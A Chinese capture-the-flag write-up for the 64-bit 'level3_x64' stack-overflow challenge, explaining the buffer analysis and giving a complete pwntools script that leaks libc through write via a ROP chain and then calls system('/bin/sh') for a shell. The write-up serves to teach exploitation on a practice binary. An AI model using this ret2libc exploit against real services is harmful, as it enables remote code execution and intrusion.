level3_x64
拿到题目,我们先checksec一下:

明显发现,没有开启栈保护,所以很有可能是栈溢出题目,IDA反汇编后:

看来确实是栈溢出,我们将断点打在vulnerable_function函数快要结束的地方(leave 0x400618):

查看此时的栈空间排布:

开来buf大小确实是0x80,接下来我们可以快乐的写脚本了,可以肯定的是libc的泄露,我们可以使用write函数进行泄露,64位传参是通过寄存器的,前三个寄存器分别是:edi,esi,edx,我们去寻找一下:

可惜的是,我们只找到了前面两个参数的,貌似没办法泄露地址,没事,write第三个参数表示的是向屏幕输出的大小,只要函数返回的时候,edx有值,且大于6,就可以了,我们继续将断点打在vulnerable_function函数快要结束的地方(leave 0x400618),观察edx寄存器的值:

放心了,值是0x200,接下来就是利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import *
from LibcSearcher import *
sh=remote("node5.buuoj.cn",28743)
elf = ELF("./pwn")
context.log_level="debug"
write_plt_address = elf.plt["write"]
write_got_address = elf.got["write"]
main_address = elf.symbols["main"]
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
ret_address = 0x400499
sh.recvuntil("Input:\n")
payload = "A"*(0x80+0x8) + p64(ret_address) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got_address)
payload += p64(0) + p64(write_plt_address) + p64(ret_address) + p64(main_address)
sh.sendline(payload)
write_address = u64(sh.recvuntil("I")[0:6].ljust(8,'\0'))
print(hex(write_address))
libc = LibcSearcher("write",write_address)
libc_base = write_address -libc.dump("write")
system_address = libc_base + libc.dump("system")
bin_sh_address = libc_base + libc.dump("str_bin_sh")
sh.recvuntil("nput:\n")
payload = "A"*(0x80+0x8) + p64(ret_address) + p64(pop_rdi_ret) + p64(bin_sh_address) +p64(system_address) + p64(main_address)
sh.sendline(payload)
sh.interactive()
|